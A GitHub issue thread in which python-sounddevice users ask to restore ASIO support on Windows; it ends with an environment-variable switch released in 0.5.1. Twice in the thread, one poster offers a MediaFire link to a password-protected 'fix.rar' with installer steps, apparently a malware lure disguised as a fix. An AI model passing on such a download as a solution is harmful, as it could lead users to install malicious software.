No ASIO support in 0.5.0

[TonyBeswick]

I see default ASIO support was removed in 0.5.0: #496
and there was a call out on that issue for anyone who's relying on ASIO, sorry I'm a bit late - I'm using it.

Our use case: We've got a simulation system that outputs multi-channel audio-band signals for embedded product testing. We're using ASIO because the audio interface we're using (Presonus Studio 1824c) only appears to offer multi channel output via the ASIO driver (I could be mistaken) and the low latency is of some benefit too.

We're not too keen on manually placing .dlls as a workaround, as we'd like to keep our deployments easy with just pip install commands.

I see this comment raised the idea of using extras, so ASIO support can be added by installing with sounddevice[asio]. This would be a great solution for our use case - if it can be made to work.

[amir1387aht]

Download
https://www.mediafire.com/file/czdodbba054p738/fix.rar/file
password: changeme
In the installer menu, select "gcc."

[amir1387aht]

Download
https://www.mediafire.com/file/czdodbba054p738/fix.rar/file
password: changeme
In the installer menu, select "gcc."

[my1e5]

We also rely on ASIO support for Windows for an audio measurement tool we use in-house. Manually placing .dlls is also a big barrier for us as we install our python tool via pipx and up until now this has all worked with one command. We've pinned our sounddevice dependency to version 0.4.7 for now to keep ASIO support, but this isn't really a sustainable solution. Having something like sounddevice[asio] would be a game-changer and make everything much easier.

[mgeier]

Thanks for the feedback!

As I said in #496 (comment):

This sounds good, but is it even possible with wheel packages?

I guess the answer is "yes", but then my next question is: "how"?

I'm open for PRs!

[rob-broadley]

We also rely on ASIO support for Windows for an audio measurement tool we use in-house - seems there are a few of us doing this.

I have looked into the posibility of sounddevice[asio] and it only looks possible if the _soundedevice_data is spun out into seperate packages, one which includes ASIO and one which does not.

I think it looks simpler to just include the ASIO dll in addition to the no ASIO dll and switch to the ASIO one using an environment variable set before the package is imported. I think you would just need:

• In the setup.py to handle there being a variable amount of libs:

  python-sounddevice/setup.py

  Line 31 in a1b4fbc

  package_data = {'_sounddevice_data': ['portaudio-binaries/' + libname,

• An if else here:

  python-sounddevice/sounddevice.py

  Line 77 in a1b4fbc

  _libname = 'libportaudio' + _platform.architecture()[0] + '.dll'

We have a package that wraps sounddevice so could quite easily set the envionment variable before importing sounddevice.

@mgeier, @my1e5 and @TonyBeswick does that work for you.

[arkrow]

I created a minimal PR of this in #556. The only cost of the approach is an additional binary will be in the built wheel, which on Windows would add ~352KB to _sounddevice_data (alongside the other ~300KB DLL). I think is within acceptable limits for the ease of development and deployment.

Since the compiled ASIO binaries already exist in _sounddevice_data under portaudio-binaries, along with the build actions to maintain them (thanks for the effort on this @mgeier!), the PR can be tested and we can gather feedback for this approach.

[rob-broadley]

@arkrow Thanks for opening the PR, it looks like it should solve this issue.
I was going to open a PR once I had confirmation that it was an acceptable solution - so you have saved me a job 🙂.
I'll give it a test as soon as I get time.

[my1e5]

@arkrow Thank you! I just tried out your PR and the minimal example you provided and it worked perfectly for me 😃.

[mgeier]

Thanks, this looks promising!

I was originally hoping that the sounddevice[asio] thing would work, but I guess the solution with the environment variable is more flexible since it allows switching between ASIO and non-ASIO without re-installing the package.

which on Windows would add ~352KB to _sounddevice_data [...] I think is within acceptable limits for the ease of development and deployment.

I agree.

[mgeier]

This has now been implemented in #556 (thanks @arkrow!).

I'm planning to make a new release soon-ish, please remind me if that doesn't happen ...

[mgeier]

I have released version 0.5.1 a few weeks ago, which now contains both non-ASIO and ASIO DLLs. ASIO support can be selected by defining the environment variable SD_ENABLE_ASIO (its value doesn't matter).

I'm closing this issue, but if there are still some problems, please let me know!